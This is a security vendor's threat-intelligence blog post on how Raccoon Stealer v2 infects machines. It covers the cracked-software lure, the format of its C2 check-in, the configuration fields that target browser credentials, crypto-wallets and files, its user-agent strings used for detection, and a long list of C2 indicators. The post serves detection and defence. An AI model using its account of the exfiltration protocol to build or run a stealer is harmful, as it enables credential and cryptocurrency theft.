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November 8, 2022

How Raccoon Stealer v2 Infects Systems

Learn about Raccoon Stealer v2's infection process and its implications for cybersecurity. Discover effective strategies to protect your systems.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
SOC Analyst
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08
Nov 2022

Raccoon Stealer Malware

Since the release of version 2 of Raccoon Stealer in May 2022, Darktrace has observed huge volumes of Raccoon Stealer v2 infections across its client base. The info-stealer, which seeks to obtain and then exfiltrate sensitive data saved on users’ devices, displays a predictable pattern of network activity once it is executed. In this blog post, we will provide details of this pattern of activity, with the goal of helping security teams to recognize network-based signs of Raccoon Stealer v2 infection within their own networks. 

What is Raccoon Stealer?

Raccoon Stealer is a classic example of information-stealing malware, which cybercriminals typically use to gain possession of sensitive data saved in users’ browsers and cryptocurrency wallets. In the case of browsers, targeted data typically includes cookies, saved login details, and saved credit card details. In the case of cryptocurrency wallets (henceforth, ‘crypto-wallets’), targeted data typically includes public keys, private keys, and seed phrases [1]. Once sensitive browser and crypto-wallet data is in the hands of cybercriminals, it will likely be used to conduct harmful activities, such as identity theft, cryptocurrency theft, and credit card fraud.

How do you obtain Raccoon Stealer?

Like most info-stealers, Raccoon Stealer is purchasable. The operators of Raccoon Stealer sell Raccoon Stealer samples to their customers (called ‘affiliates’), who then use the info-stealer to gain possession of sensitive data saved on users’ devices. Raccoon Stealer affiliates typically distribute their samples via SEO-promoted websites providing free or cracked software. 

Is Raccoon Stealer Still Active?

On the 25th of March 2022, the operators of Raccoon Stealer announced that they would be suspending their operations because one of their core developers had been killed during the Russia-Ukraine conflict [2]. The presence of the hardcoded RC4 key ‘edinayarossiya’ (Russian for ‘United Russia’) within observed Raccoon Stealer v2 samples [3] provides potential evidence of the Raccoon Stealer operators’ allegiances.

Recent details shared by the US Department of Justice [4]/[5] indicate that it was in fact the arrest, rather than the death, of an operator which led the Raccoon Stealer team to suspend their operations [6]. As a result of the FBI, along with law enforcement partners in Italy and the Netherlands, dismantling Raccoon Stealer infrastructure in March 2022 [4], the Raccoon Stealer team was forced to build a new version of the info-stealer.  

On the 17th May 2022, the completion of v2 of the info-stealer was announced on the Raccoon Stealer Telegram channel [7].  Since its release in May 2022, Raccoon Stealer v2 has become extremely popular amongst cybercriminals. The prevalence of Raccoon Stealer v2 in the wider landscape has been reflected in Darktrace’s client base, with hundreds of infections being observed within client networks on a monthly basis.   

Since Darktrace’s SOC first saw a Raccoon Stealer v2 infection on the 22nd May 2022, the info-stealer has undergone several subtle changes. However, the info-stealer’s general pattern of network activity has remained essentially unchanged.  

How Does Raccoon Stealer v2 Infection Work?

A Raccoon Stealer v2 infection typically starts with a user attempting to download cracked or free software from an SEO-promoted website. Attempting to download software from one of these cracked/free software websites redirects the user’s browser (typically via several .xyz or .cfd endpoints) to a page providing download instructions. In May, June, and July, many of the patterns of download behavior observed by Darktrace’s SOC matched the pattern of behavior observed in a cracked software campaign reported by Avast in June [8].   

webpage whose download instructions led to a Raccoon Stealer v2
Figure 1: Above is a webpage whose download instructions led to a Raccoon Stealer v2 sample hosted on Discord CDN
example of a webpage whose download instructions led to a Raccoon Stealer v2
Figure 2: Above is an example of a webpage whose download instructions led to a Raccoon Stealer v2 sample hosted on Bitbucket
example of a webpage whose download instructions led to a Raccoon Stealer v2
Figure 3: Above is an example of a webpage whose download instructions led to a Raccoon Stealer v2 sample hosted on MediaFire

Following the instructions on the download instruction page causes the user’s device to download a password-protected RAR file from a file storage service such as ‘cdn.discordapp[.]com’, ‘mediafire[.]com’, ‘mega[.]nz’, or ‘bitbucket[.]org’. Opening the downloaded file causes the user’s device to execute Raccoon Stealer v2. 

The Event Log for an infected device,
Figure 4: The Event Log for an infected device, taken from Darktrace’s Threat Visualiser interface, shows a device contacting two cracked software websites (‘crackedkey[.]org’ and ‘crackedpc[.]co’) before contacting a webpage (‘premiumdownload[.]org) providing instructions to download Raccoon Stealer v2 from Bitbucket

Once Raccoon Stealer v2 is running on a device, it will make an HTTP POST request with the target URI ‘/’ and an unusual user-agent string (such as ‘record’, ‘mozzzzzzzzzzz’, or ‘TakeMyPainBack’) to a C2 server. This POST request consists of three strings: a machine GUID, a username, and a 128-bit RC4 key [9]. The posted data has the following form:

machineId=X | Y & configId=Z (where X is a machine GUID, Y is a username and Z is a 128-bit RC4 key) 

PCAP showing a device making an HTTP POST request with the User Agent header ‘record’ 
Figure 5:PCAP showing a device making an HTTP POST request with the User Agent header ‘record’ 
PCAP showing a device making an HTTP POST request with the User Agent header ‘mozzzzzzzzzzz’
Figure 6: PCAP showing a device making an HTTP POST request with the User Agent header ‘mozzzzzzzzzzz’
PCAP showing a device making an HTTP POST request with the User Agent header ‘TakeMyPainBack’
Figure 7: PCAP showing a device making an HTTP POST request with the User Agent header ‘TakeMyPainBack’

The C2 server responds to the info-stealer’s HTTP POST request with custom-formatted configuration details. These configuration details consist of fields which tell the info-stealer what files to download, what data to steal, and what target URI to use in its subsequent exfiltration POST requests. Below is a list of the fields Darktrace has observed in the configuration details retrieved by Raccoon Stealer v2 samples:

  • a ‘libs_mozglue’ field, which specifies a download address for a Firefox library named ‘mozglue.dll’
  • a ‘libs_nss3’ field, which specifies a download address for a Network System Services (NSS) library named ‘nss3.dll’ 
  • a ‘libs_freebl3’ field, which specifies a download address for a Network System Services (NSS) library named ‘freebl3.dll’
  • a ‘libs_softokn3’ field, which specifies a download address for a Network System Services (NSS) library named ‘softokn3.dll’
  • a ‘libs_nssdbm3’ field, which specifies a download address for a Network System Services (NSS) library named ‘nssdbm3.dll’
  • a ‘libs_sqlite3’ field, which specifies a download address for a SQLite command-line program named ‘sqlite3.dll’
  • a ‘libs_ msvcp140’ field, which specifies a download address for a Visual C++ runtime library named ‘msvcp140.dll’
  • a ‘libs_vcruntime140’ field, which specifies a download address for a Visual C++ runtime library named ‘vcruntime140.dll’
  • a ‘ldr_1’ field, which specifies the download address for a follow-up payload for the sample to download 
  • ‘wlts_X’ fields (where X is the name of a crypto-wallet application), which specify data for the sample to obtain from the specified crypto-wallet application
  • ‘ews_X’ fields (where X is the name of a crypto-wallet browser extension), which specify data for the sample to obtain from the specified browser extension
  • ‘xtntns_X’ fields (where X is the name of a password manager browser extension), which specify data for the sample to obtain from the specified browser extension
  • a ‘tlgrm_Telegram’ field, which specifies data for the sample to obtain from the Telegram Desktop application 
  • a ‘grbr_Desktop’ field, which specifies data within a local ‘Desktop’ folder for the sample to obtain 
  • a ‘grbr_Documents’ field, which specifies data within a local ‘Documents’ folder for the sample to obtain
  • a ‘grbr_Recent’ field, which specifies data within a local ‘Recent’ folder for the sample to obtain
  • a ‘grbr_Downloads’ field, which specifies data within a local ‘Downloads’ folder for the sample to obtain
  • a ‘sstmnfo_System Info.txt’ field, which specifies whether the sample should gather and exfiltrate a profile of the infected host 
  • a ‘scrnsht_Screenshot.jpeg’ field, which specifies whether the sample should take and exfiltrate screenshots of the infected host
  • a ‘token’ field, which specifies a 32-length string of hexadecimal digits for the sample to use as the target URI of its HTTP POST requests containing stolen data 

After retrieving its configuration data, Raccoon Stealer v2 downloads the library files specified in the ‘libs_’ fields. Unusual user-agent strings (such as ‘record’, ‘qwrqrwrqwrqwr’, and ‘TakeMyPainBack’) are used in the HTTP GET requests for these library files. In all Raccoon Stealer v2 infections seen by Darktrace, the paths of the URLs specified in the ‘libs_’ fields have the following form:

/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/X (where X is the name of the targeted DLL file) 

Advanced Search logs for an infected host
Figure 8: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device making an HTTP POST request to retrieve configuration details, and then making HTTP GET requests with the User Agent header ‘record’ for DLL files
Advanced Search logs for an infected host
Figure 9: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device making an HTTP POST request to retrieve configuration details, and then making HTTP GET requests with the User Agent header ‘qwrqrwrqwrqwr’ for DLL files
Advanced Search logs for an infected host
Figure 10: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device making an HTTP POST request to retrieve configuration details, and then making HTTP GET requests with the User Agent header ‘TakeMyPainBack’ for DLL files

Raccoon Stealer v2 uses the DLLs which it downloads to gain access to sensitive data (such as cookies, credit card details, and login details) saved in browsers running on the infected host.  

Depending on the data provided in the configuration details, Raccoon Stealer v2 will typically seek to obtain, in addition to sensitive data saved in browsers, the following information:

  • Information about the Operating System and applications installed on the infected host
  • Data from specified crypto-wallet software
  • Data from specified crypto-wallet browser extensions
  • Data from specified local folders
  • Data from Telegram Desktop
  • Data from specified password manager browser extensions
  • Screenshots of the infected host 

Raccoon Stealer v2 exfiltrates the data which it obtains to its C2 server by making HTTP POST requests with unusual user-agent strings (such as ‘record’, ‘rc2.0/client’, ‘rqwrwqrqwrqw’, and ‘TakeMyPainBack’) and target URIs matching the 32-length string of hexadecimal digits specified in the ‘token’ field of the configuration details. The stolen data exfiltrated by Raccoon Stealer typically includes files named ‘System Info.txt’, ‘---Screenshot.jpeg’, ‘\cookies.txt’, and ‘\passwords.txt’. 

Advanced Search logs for an infected host
Figure 11: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device retrieving configuration details via a POST request, downloading several DLLs, and then exfiltrating files named ‘System Info.txt’ and ‘---Screenshot.jpeg’
Advanced Search logs for an infected host
Figure 12: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device retrieving configuration details via a POST request, downloading several DLLs, and then exfiltrating a file named ‘System Info.txt’ 
Advanced Search logs for an infected host
Figure 13: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device retrieving configuration details via a POST request, downloading several DLLs, and then exfiltrating files named ‘System Info.txt’, ‘\cookies.txt’ and ‘\passwords.txt’
Advanced Search logs for an infected host
Figure 14: Advanced Search logs for an infected host, found on Darktrace’s Advanced Search interface, show a device retrieving configuration details via a POST request, downloading several DLLs, and then exfiltrating a file named ‘System Info.txt’

If a ‘ldr_1’ field is present in the retrieved configuration details, then Raccoon Stealer will complete its operation by downloading the binary file specified in the ‘ldr_1’ field. In all observed cases, the paths of the URLs specified in the ‘ldr_1’ field end in a sequence of digits, followed by ‘.bin’. The follow-up payload seems to vary between infections, likely due to this additional-payload feature being customizable by Raccoon Stealer affiliates. In many cases, the info-stealer, CryptBot, was delivered as the follow-up payload. 

Darktrace Coverage of Raccoon Stealer

Once a user’s device becomes infected with Raccoon Stealer v2, it will immediately start to communicate over HTTP with a C2 server. The HTTP requests made by the info-stealer have an empty Host header (although Host headers were used by early v2 samples) and highly unusual User Agent headers. When Raccoon Stealer v2 was first observed in May 2022, the user-agent string ‘record’ was used in its HTTP requests. Since then, it appears that the operators of Raccoon Stealer have made several changes to the user-agent strings used by the info-stealer,  likely in an attempt to evade signature-based detections. Below is a timeline of the changes to the info-stealer’s user-agent strings, as observed by Darktrace’s SOC:

  • 22nd May 2022: Samples seen using the user-agent string ‘record’
  • 2nd July 2022: Samples seen using the user-agent string ‘mozzzzzzzzzzz’
  • 29th July 2022: Samples seen using the user-agent string ‘rc2.0/client’
  • 10th August 2022: Samples seen using the user-agent strings ‘qwrqrwrqwrqwr’ and ‘rqwrwqrqwrqw’
  • 16th Sep 2022: Samples seen using the user-agent string ‘TakeMyPainBack’

The presence of these highly unusual user-agent strings within infected devices’ HTTP requests causes the following Darktrace DETECT/Network models to breach:

  • Device / New User Agent
  • Device / New User Agent and New IP
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Device / Three or More New User Agents

These DETECT models look for devices making HTTP requests with unusual user-agent strings, rather than specific user-agent strings which are known to be malicious. This method of detection enables the models to continually identify Raccoon Stealer v2 HTTP traffic, despite the changes made to the info-stealer’s user-agent strings.   

After retrieving configuration details from a C2 server, Raccoon Stealer v2 samples make HTTP GET requests for several DLL libraries. Since these GET requests are directed towards highly unusual IP addresses, the downloads of the DLLs cause the following DETECT models to breach:

  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Multiple EXE from Rare External Locations

Raccoon Stealer v2 samples send data to their C2 server via HTTP POST requests with an absent Host header. Since these POST requests lack a Host header and have a highly unusual destination IP, their occurrence causes the following DETECT model to breach:

  • Anomalous Connection / Posting HTTP to IP Without Hostname

Certain Raccoon Stealer v2 samples download (over HTTP) a follow-up payload once they have exfiltrated data. Since the target URIs of the HTTP GET requests made by v2 samples end in a sequence of digits followed by ‘.bin’, the samples’ downloads of follow-up payloads cause the following DETECT model to breach:

  • Anomalous File / Numeric File Download

If Darktrace RESPOND/Network is configured within a customer’s environment, then Raccoon Stealer v2 activity should cause the following inhibitive actions to be autonomously taken on infected systems: 

  • Enforce pattern of life — This action results in a device only being able to make connections which are normal for it to make
  • Enforce group pattern of life — This action results in a device only being able to make connections which are normal for it or any of its peers to make
  • Block matching connections — This action results in a device being unable to make connections to particular IP/Port pairs
  • Block all outgoing traffic — This action results in a device being unable to make any connections 
The Event Log for an infected device
Figure 15: The Event Log for an infected device, taken from Darktrace’s Threat Visualiser interface, shows Darktrace RESPOND taking inhibitive actions in response to the HTTP activities of a Raccoon Stealer v2 sample downloaded from MediaFire

Given that Raccoon Stealer v2 infections move extremely fast, with the time between initial infection and data exfiltration sometimes less than a minute, the availability of Autonomous Response technology such as Darktrace RESPOND is vital for the containment of Raccoon Stealer v2 infections.  

Timeline of Darktrace stopping raccoon stealer.
Figure 16: Figure displaying the steps of a Raccoon Stealer v2 infection, along with the corresponding Darktrace detections

Conclusion

Since the release of Raccoon Stealer v2 back in 2022, the info-stealer has relentlessly infected the devices of unsuspecting users. Once the info-stealer infects a user’s device, it retrieves and then exfiltrates sensitive information within a matter of minutes. The distinctive pattern of network behavior displayed by Raccoon Stealer v2 makes the info-stealer easy to spot. However, the changes which the Raccoon Stealer operators make to the User Agent headers of the info-stealer’s HTTP requests make anomaly-based methods key for the detection of the info-stealer’s HTTP traffic. The operators of Raccoon Stealer can easily change the superficial features of their malware’s C2 traffic, however, they cannot easily change the fact that their malware causes highly unusual network behavior. Spotting this behavior, and then autonomously responding to it, is likely the best bet which organizations have at stopping a Raccoon once it gets inside their networks.  

Thanks to the Threat Research Team for its contributions to this blog.

References

[1] https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/

[2] https://twitter.com/3xp0rtblog/status/1507312171914461188

[3] https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-raccoon-stealer-v2-0

[4] https://www.justice.gov/usao-wdtx/pr/newly-unsealed-indictment-charges-ukrainian-national-international-cybercrime-operation

[5] https://www.youtube.com/watch?v=Fsz6acw-ZJ

[6] https://riskybiznews.substack.com/p/raccoon-stealer-dev-didnt-die-in

[7] https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d

[8] https://blog.avast.com/fakecrack-campaign

[9] https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/

Appendices

MITRE ATT&CK Mapping

Resource Development

• T1588.001 — Obtain Capabilities: Malware

• T1608.001 — Stage Capabilities: Upload Malware

• T1608.005 — Stage Capabilities: Link Target

• T1608.006 — Stage Capabilities: SEO Poisoning

Execution

•  T1204.002 — User Execution: Malicious File

Credential Access

• T1555.003 — Credentials from Password Stores:  Credentials from Web Browsers

• T1555.005 — Credentials from Password Stores:  Password Managers

• T1552.001 — Unsecured Credentials: Credentials  In Files

Command and Control

•  T1071.001 — Application Layer Protocol: Web Protocols

•  T1105 — Ingress Tool Transfer

IOCS

Type

IOC

Description

User-Agent String

record

String used in User Agent header of  Raccoon Stealer v2’s HTTP requests

User-Agent  String

mozzzzzzzzzzz

String used inUser Agent header of Raccoon Stealer v2’s HTTP requests

User-Agent String

rc2.0/client

String used in User Agent header of  Raccoon Stealer v2’s HTTP requests

User-Agent  String

qwrqrwrqwrqwr

String used in  User Agent header of Raccoon Stealer v2’s HTTP requests

User-Agent String

rqwrwqrqwrqw

String used in User Agent header of  Raccoon Stealer v2’s HTTP requests

User-Agent  String

TakeMyPainBack

String used in  User Agent header of Raccoon Stealer v2’s HTTP requests

Domain Name

brain-lover[.]xyz  

Raccoon Stealer v2 C2 infrastructure

Domain  Name

polar-gift[.]xyz

Raccoon Stealer  v2 C2 infrastructure

Domain Name

cool-story[.]xyz

Raccoon Stealer v2 C2 infrastructure

Domain  Name

fall2sleep[.]xyz

Raccoon Stealer  v2 C2 infrastructure

Domain Name

broke-bridge[.]xyz

Raccoon Stealer v2 C2 infrastructure

Domain  Name

use-freedom[.]xyz

Raccoon Stealer  v2 C2 infrastructure

Domain Name

just-trust[.]xyz

Raccoon Stealer v2 C2 infrastructure

Domain  Name

soft-viper[.]site

Raccoon Stealer  v2 C2 infrastructure

Domain Name

tech-lover[.]xyz

Raccoon Stealer v2 C2 infrastructure

Domain  Name

heal-brain[.]xyz

Raccoon Stealer  v2 C2 infrastructure

Domain Name

love-light[.]xyz

Raccoon Stealer v2 C2 infrastructure

IP  Address

104.21.80[.]14

Raccoon Stealer  v2 C2 infrastructure

IP Address

107.152.46[.]84

Raccoon Stealer v2 C2 infrastructure

IP  Address

135.181.147[.]255

Raccoon Stealer  v2 C2 infrastructure

IP Address

135.181.168[.]157

Raccoon Stealer v2 C2 infrastructure

IP  Address

138.197.179[.]146

Raccoon Stealer  v2 C2 infrastructure

IP Address

141.98.169[.]33

Raccoon Stealer v2 C2 infrastructure

IP  Address

146.19.170[.]100

Raccoon Stealer  v2 C2 infrastructure

IP Address

146.19.170[.]175

Raccoon Stealer v2 C2 infrastructure

IP  Address

146.19.170[.]98

Raccoon Stealer  v2 C2 infrastructure

IP Address

146.19.173[.]33

Raccoon Stealer v2 C2 infrastructure

IP  Address

146.19.173[.]72

Raccoon Stealer  v2 C2 infrastructure

IP Address

146.19.247[.]175

Raccoon Stealer v2 C2 infrastructure

IP  Address

146.19.247[.]177

Raccoon Stealer  v2 C2 infrastructure

IP Address

146.70.125[.]95

Raccoon Stealer v2 C2 infrastructure

IP  Address

152.89.196[.]234

Raccoon Stealer  v2 C2 infrastructure

IP Address

165.225.120[.]25

Raccoon Stealer v2 C2 infrastructure

IP  Address

168.100.10[.]238

Raccoon Stealer  v2 C2 infrastructure

IP Address

168.100.11[.]23

Raccoon Stealer v2 C2 infrastructure

IP  Address

168.100.9[.]234

Raccoon Stealer  v2 C2 infrastructure

IP Address

170.75.168[.]118

Raccoon Stealer v2 C2 infrastructure

IP  Address

172.67.173[.]14

Raccoon Stealer  v2 C2 infrastructure

IP Address

172.86.75[.]189

Raccoon Stealer v2 C2 infrastructure

IP  Address

172.86.75[.]33

Raccoon Stealer  v2 C2 infrastructure

IP Address

174.138.15[.]216

Raccoon Stealer v2 C2 infrastructure

IP  Address

176.124.216[.]15

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.106.92[.]14

Raccoon Stealer v2 C2 infrastructure

IP  Address

185.173.34[.]161

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.173.34[.]161  

Raccoon Stealer v2 C2 infrastructure

IP  Address

185.225.17[.]198

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.225.19[.]190

Raccoon Stealer v2 C2 infrastructure

IP  Address

185.225.19[.]229

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.53.46[.]103

Raccoon Stealer v2 C2 infrastructure

IP  Address

185.53.46[.]76

Raccoon Stealer  v2 C2 infrastructure

IP Address

185.53.46[.]77

Raccoon Stealer v2 C2 infrastructure

IP  Address

188.119.112[.]230

Raccoon Stealer  v2 C2 infrastructure

IP Address

190.117.75[.]91

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.106.191[.]182

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.149.129[.]135

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.149.129[.]144

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.149.180[.]210

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.149.185[.]192

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.233.193[.]50

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.43.146[.]138

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.43.146[.]17

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.43.146[.]192

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.43.146[.]213

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.43.146[.]214

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.43.146[.]215

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.43.146[.]26

Raccoon Stealer  v2 C2 infrastructure

IP Address

193.43.146[.]45

Raccoon Stealer v2 C2 infrastructure

IP  Address

193.56.146[.]177

Raccoon Stealer  v2 C2 infrastructure

IP Address

194.180.174[.]180

Raccoon Stealer v2 C2 infrastructure

IP  Address

195.201.148[.]250

Raccoon Stealer  v2 C2 infrastructure

IP Address

206.166.251[.]156

Raccoon Stealer v2 C2 infrastructure

IP  Address

206.188.196[.]200

Raccoon Stealer  v2 C2 infrastructure

IP Address

206.53.53[.]18

Raccoon Stealer v2 C2 infrastructure

IP  Address

207.154.195[.]173

Raccoon Stealer  v2 C2 infrastructure

IP Address

213.252.244[.]2

Raccoon Stealer v2 C2 infrastructure

IP  Address

38.135.122[.]210

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.10.20[.]248

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.11.19[.]99

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.133.216[.]110

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.133.216[.]145

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.133.216[.]148

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.133.216[.]249

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.133.216[.]71

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.140.146[.]169

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.140.147[.]245

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.142.212[.]100

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.142.213[.]24

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.142.215[.]91

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.142.215[.]91  

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.142.215[.]92

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.144.29[.]18

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.144.29[.]243

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.15.156[.]11

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.15.156[.]2

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.15.156[.]31

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.15.156[.]31

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.150.67[.]156

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.153.230[.]183

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.153.230[.]228

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.159.251[.]163

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.159.251[.]164

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.61.136[.]67

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.61.138[.]162

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.67.228[.]8

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.67.231[.]202

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.67.34[.]152

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.67.34[.]234

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.8.144[.]187

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.8.144[.]54

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.8.144[.]55

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.8.145[.]174

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.8.145[.]83

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.8.147[.]39

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.8.147[.]79

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.84.0.152

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.86.86[.]78

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.54[.]110

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.89.54[.]110

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.54[.]95

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.89.55[.]115

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.55[.]117

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.89.55[.]193

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.55[.]198

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.89.55[.]20

Raccoon Stealer  v2 C2 infrastructure

IP Address

45.89.55[.]84

Raccoon Stealer v2 C2 infrastructure

IP  Address

45.92.156[.]150

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.36[.]154

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.182.36[.]230

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.36[.]231

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.182.36[.]232

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.36[.]233

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.182.39[.]34

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.39[.]74

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.182.39[.]75

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.182.39[.]77

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.118[.]33

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.176[.]62

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.177[.]217

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.177[.]234

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.177[.]43

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.177[.]47

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.177[.]92

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.177[.]98

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.22[.]142

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.23[.]100

Raccoon Stealer v2 C2 infrastructure

IP  Address

5.252.23[.]25

Raccoon Stealer  v2 C2 infrastructure

IP Address

5.252.23[.]76

Raccoon Stealer v2 C2 infrastructure

IP  Address

51.195.166[.]175

Raccoon Stealer  v2 C2 infrastructure

IP Address

51.195.166[.]176

Raccoon Stealer v2 C2 infrastructure

IP  Address

51.195.166[.]194

Raccoon Stealer  v2 C2 infrastructure

IP Address

51.81.143[.]169

Raccoon Stealer v2 C2 infrastructure

IP  Address

62.113.255[.]110

Raccoon Stealer  v2 C2 infrastructure

IP Address

65.109.3[.]107

Raccoon Stealer v2 C2 infrastructure

IP  Address

74.119.192[.]56

Raccoon Stealer  v2 C2 infrastructure

IP Address

74.119.192[.]73

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.232.39[.]101

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.73.133[.]0

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.73.133[.]4

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.73.134[.]45

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.75.230[.]25

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.75.230[.]39

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.75.230[.]70

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.75.230[.]93

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.100[.]101

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.102[.]12

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.102[.]230

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.102[.]44

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.102[.]57

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.102[.]84

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.103[.]31

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.73[.]154

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.73[.]213

Raccoon Stealer  v2 C2 infrastructure

IP Address

77.91.73[.]32

Raccoon Stealer v2 C2 infrastructure

IP  Address

77.91.74[.]67

Raccoon Stealer  v2 C2 infrastructure

IP Address

78.159.103[.]195

Raccoon Stealer v2 C2 infrastructure

IP  Address

78.159.103[.]196

Raccoon Stealer  v2 C2 infrastructure

IP Address

80.66.87[.]23

Raccoon Stealer v2 C2 infrastructure

IP  Address

80.66.87[.]28

Raccoon Stealer  v2 C2 infrastructure

IP Address

80.71.157[.]112

Raccoon Stealer v2 C2 infrastructure

IP  Address

80.71.157[.]138

Raccoon Stealer  v2 C2 infrastructure

IP Address

80.92.204[.]202

Raccoon Stealer v2 C2 infrastructure

IP  Address

87.121.52[.]10

Raccoon Stealer  v2 C2 infrastructure

IP Address

88.119.175[.]187

Raccoon Stealer v2 C2 infrastructure

IP  Address

89.185.85[.]53

Raccoon Stealer  v2 C2 infrastructure

IP Address

89.208.107[.]42

Raccoon Stealer v2 C2 infrastructure

IP  Address

89.39.106[.]78

Raccoon Stealer  v2 C2 infrastructure

IP Address

91.234.254[.]126

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.104[.]16

Raccoon Stealer  v2 C2 infrastructure

IP Address

94.131.104[.]17

Raccoon Stealer v2 C2 infrastructure

IP  Address

94.131.104[.]18

